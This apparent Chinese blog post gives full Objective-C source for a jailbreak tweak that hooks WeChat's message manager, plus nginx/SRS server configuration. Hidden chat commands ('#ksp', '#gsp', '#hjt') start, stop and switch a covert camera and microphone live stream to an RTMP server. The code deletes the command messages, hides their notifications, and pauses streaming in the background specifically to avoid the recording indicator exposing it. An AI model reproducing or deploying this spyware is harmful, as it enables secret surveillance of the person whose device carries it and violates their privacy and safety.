cxm
其实是利用wx的信息收发机制实现,开启关闭.和上下线通知.
具体是hook了 CMessageMgr 这个类
废话不多说直接上代码
#import "HGLiveHook.h"
#import <Foundation/Foundation.h>
#import "CaptainHook/CaptainHook.h"
#import "HGLiveSettings.h"
#import "HGLiveManager.h"
#import "WechatPodForm.h"
CHDeclareClass(CMessageMgr);
// 聊天窗口显示过滤处理
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsg, id, arg1, MsgWrap, CMessageWrap *, wrap) {
[[HGLiveSettings shared] setMgr:self];
wrap.m_nsContent = [wrap.m_nsContent stringByReplacingOccurrencesOfString:@" " withString:@""];
if ([wrap.m_nsContent hasPrefix:sheZhiFuWuQi]) {
[HGLiveSettings setupServer:wrap.m_nsContent room:wrap.m_nsToUsr];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
return;
}
if ([wrap.m_nsContent isEqualToString:start]) {
[[HGLiveSettings shared] setIsPlay:YES];
[[HGLiveSettings shared] setWrap:wrap];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
if (![HGLiveSettings isNoAddress]) {
[HGLiveSettings AddMsgWithContent:WeiSheZhiFuWuQi];
return;
}
[HGLiveSettings AddMsgWithContent:[HGLiveSettings getPlayAddress]];
[[HGLiveManager shared] startRunning];
}
if ([wrap.m_nsContent isEqualToString:stop]) {
[[HGLiveSettings shared] setIsPlay:NO];
[[HGLiveManager shared] stopLive];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
return;
}
if ([wrap.m_nsContent isEqualToString:rotate]) {
[[HGLiveManager shared] rotateCamera];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
return;
}
if ([objc_getClass("CMessageWrap") isSenderFromMsgWrap:wrap]) {
if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
}
CHSuper2(CMessageMgr, AsyncOnAddMsg, arg1, MsgWrap, wrap);
}
// 聊天列表显示过滤
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsgListForSession, NSDictionary *, arg1, NotifyUsrName, NSMutableSet *, arg2) {
CMessageWrap *wrap = arg1[[arg2 anyObject]];
if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
CHSuper2(CMessageMgr, AsyncOnAddMsgListForSession, arg1, NotifyUsrName, arg2);
}
// 通知过滤
CHOptimizedMethod1(self, void, CMessageMgr, MainThreadNotifyToExt, NSMutableDictionary *, arg1) {
if ([arg1 valueForKey:@"3"]) {
CMessageWrap *wrap = [arg1 valueForKey:@"3"];
if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
}
CHSuper1(CMessageMgr, MainThreadNotifyToExt, arg1);
}
CHDeclareClass(MicroMessengerAppDelegate);
// 将变为非活跃状态
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillResignActive, id, arg1) {
// 关闭. 由于进入后台.如果是开启状态.桌面状态栏会显示红色提醒用户后台录音开启.避免暴露,最好关闭
if ([[HGLiveSettings shared] isPlay]) {
[[HGLiveManager shared] stopLive];
[HGLiveSettings AddMsgWithContent:@"stop"];
}
CHSuper1(MicroMessengerAppDelegate, applicationWillResignActive, arg1);
}
// 由后台进入前台
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillEnterForeground, id, arg1) {
// 开启.
if ([[HGLiveSettings shared] isPlay]) {
[[HGLiveManager shared] startRunning];
[HGLiveSettings AddMsgWithContent:@"start"];
}
CHSuper1(MicroMessengerAppDelegate, applicationWillEnterForeground, arg1);
}
// 所有被hook的类和函数放在这里的构造函数中
CHConstructor
{
@autoreleasepool
{
CHLoadLateClass(CMessageMgr);
CHHook2(CMessageMgr, AsyncOnAddMsg, MsgWrap);
CHHook2(CMessageMgr, AsyncOnAddMsgListForSession, NotifyUsrName);
CHHook1(CMessageMgr, MainThreadNotifyToExt);
CHLoadLateClass(MicroMessengerAppDelegate);
CHHook1(MicroMessengerAppDelegate, applicationWillResignActive);
CHHook1(MicroMessengerAppDelegate, applicationWillEnterForeground);
}
}
#import "HGLiveSettings.h"
#import "HGLiveHook.h"
#import <objc/runtime.h>
@interface HGLiveSettings()
@end
@implementation HGLiveSettings
static HGLiveSettings *_shareInstance = nil;
+ (instancetype)shared {
if (!_shareInstance) {
_shareInstance = [[self alloc] init];
}
return _shareInstance;
}
- (void)setWrap:(CMessageWrap *)wrap {
_wrap = [wrap copy];
_wrap.m_nsFromUsr = wrap.m_nsToUsr;
_wrap.m_nsToUsr = wrap.m_nsFromUsr;
_wrap.m_uiMesLocalID = 0;
_wrap.m_n64MesSvrID = 0;
_wrap.m_uiStatus = 1;
_wrap.m_uiMessageType = 1;
_wrap.m_nsMsgSource = nil;
}
+ (void)setupServer:(NSString *)address room:(NSString *)room {
NSString *fwq = [address stringByReplacingOccurrencesOfString:@":" withString:@""];
fwq = [fwq stringByReplacingOccurrencesOfString:@":" withString:@""];
fwq = [fwq stringByReplacingOccurrencesOfString:@" " withString:@""];
fwq = [fwq stringByReplacingOccurrencesOfString:@"#服务器" withString:@""];
if (fwq.length < 8) return;
NSString *roomID = [room stringByReplacingOccurrencesOfString:@"wxid_" withString:@""];
NSString *rtmpAddress = [NSString stringWithFormat:@"rtmp://%@:2018/hls/%@",fwq ,roomID];
NSString *httpAddress = [NSString stringWithFormat:@"http://%@:8080/hls/%@.m3u8",fwq, roomID];
NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
[ud setObject:rtmpAddress forKey:@"rtmpAddress"];
[ud setObject:httpAddress forKey:@"httpAddress"];
[ud synchronize]; //立即写入
}
+ (void)DelMsg:(NSString *)DelMsg MsgWrap:(CMessageWrap *)MsgWrap {
[[[self shared] mgr] DelMsg:DelMsg MsgWrap:MsgWrap];
[[[self shared] mgr] DelMsg:DelMsg MsgList:MsgWrap DelAll:NO];
[[[self shared] mgr] AsyncOnDelMsg:DelMsg MsgWrap:MsgWrap];
}
+ (void)AddMsg:(NSString *)AddMsg MsgWrap:(CMessageWrap *)MsgWrap {
[[[self shared] mgr] AddMsg:AddMsg MsgWrap:MsgWrap];
[self DelMsg:AddMsg MsgWrap:MsgWrap];
}
+ (void)AddMsgWithContent:(NSString *)nsContent {
CMessageWrap *MsgWrap = [[self shared] wrap];
MsgWrap.m_nsContent = nsContent;
[[[self shared] mgr] AddMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap];
[self DelMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap];
}
+ (BOOL)isNoAddress {
NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"];
NSString *httpAddress = [ud objectForKey:@"httpAddress"];
if (rtmpAddress == nil || httpAddress == nil) return NO;
return YES;
}
+ (NSString *)getPlayAddress {
NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"];
NSString *httpAddress = [ud objectForKey:@"httpAddress"];
return [NSString stringWithFormat:@"#播放地址,网页地址:%@,播放器地址:%@",httpAddress,rtmpAddress];
}
+ (BOOL)isEqualToCommand:(NSString *)command {
if ([command isEqualToString:start] ||
[command isEqualToString:stop] ||
[command isEqualToString:rotate] ||
[command hasPrefix:shiPingDiZhi] ||
[command hasPrefix:sheZhiFuWuQi] ||
[command isEqualToString:WeiSheZhiFuWuQi]) {
return YES;
}
return NO;
}
@end
#import "HGLiveManager.h"
#import "LFLiveKit.h"
@interface HGLiveManager()
@property (nonatomic, strong) LFLiveSession *liveSession;
@end
@implementation HGLiveManager
static HGLiveManager *_shared;
+ (instancetype)shared {
if (!_shared) {
_shared = [[self alloc] init];
}
return _shared;
}
- (instancetype)init {
if (self = [super init]) {
LFLiveAudioConfiguration *audioConfig = [LFLiveAudioConfiguration defaultConfiguration];
LFLiveVideoQuality videoQuality = LFLiveVideoQuality_Low1;
LFLiveVideoConfiguration *aideoConfig = [LFLiveVideoConfiguration defaultConfigurationForQuality:videoQuality];
self.liveSession = [[LFLiveSession alloc] initWithAudioConfiguration:audioConfig videoConfiguration:aideoConfig];
}
return self;
}
- (void)startRunning {
dispatch_async(dispatch_get_global_queue(0, 0), ^{
self.liveSession.running = NO;
self.liveSession.preView = [UIView new];
LFLiveStreamInfo *streamInfo = [LFLiveStreamInfo new];
streamInfo.url = [[NSUserDefaults standardUserDefaults] objectForKey:@"rtmpAddress"];
[self.liveSession startLive:streamInfo];
self.liveSession.running = YES;
});
}
- (void)rotateCamera {
if (!self.liveSession.running) return;
AVCaptureDevicePosition position = self.liveSession.captureDevicePosition;
self.liveSession.captureDevicePosition = position == AVCaptureDevicePositionBack?AVCaptureDevicePositionFront:AVCaptureDevicePositionBack;
}
- (void)stopLive{
self.liveSession.running = NO;
}
@end
使用方法
设置服务器器,直接在聊天窗口输入命令
#服务器192.168.31.1 (这里替换自己的服务器ip)
2.开启命令
#ksp
3.关闭命令
#gsp
4.切换前后摄像头
#hjt
服务器搭建
服务器系统 Ubuntu 安装 nginx 和 srs 简单配置一下即可 .
nginx直接在github clone 到服务器 nginx 设置 nginx安装好后在nginx.conf文件中最后加入
rtmp {
server {
listen 2018;
application rtmplive {
live on;
max_connections 1024;
}
application hls{
live on;
hls on;
hls_path /usr/local/var/www/hls;
hls_fragment 1s;
}
}
}
重启Nginx: nginx -s reload 是配置生效
srs配置 ~/srs/trunk/conf 目录新建一个 .conf的文件 配置内容如下
listen 2018;
max_connections 1000;
http_server {
enabled on;
listen 8080;
dir ./objs/nginx/html;
}
vhost __defaultVhost__ {
hls {
enabled on;
hls_path ./objs/nginx/html;
hls_fragment 5;
hls_window 60;
}
http_remux {
enabled on;
mount [vhost]/[app]/[stream].flv;
hstrs on;
}
gop_cache off;
queue_length 10;
min_latency on;
mr {
enabled off;
}
mw_latency 100;
tcp_nodelay on;
}
然后运行命令是配置生效 ./objs/srs -c conf/名称.conf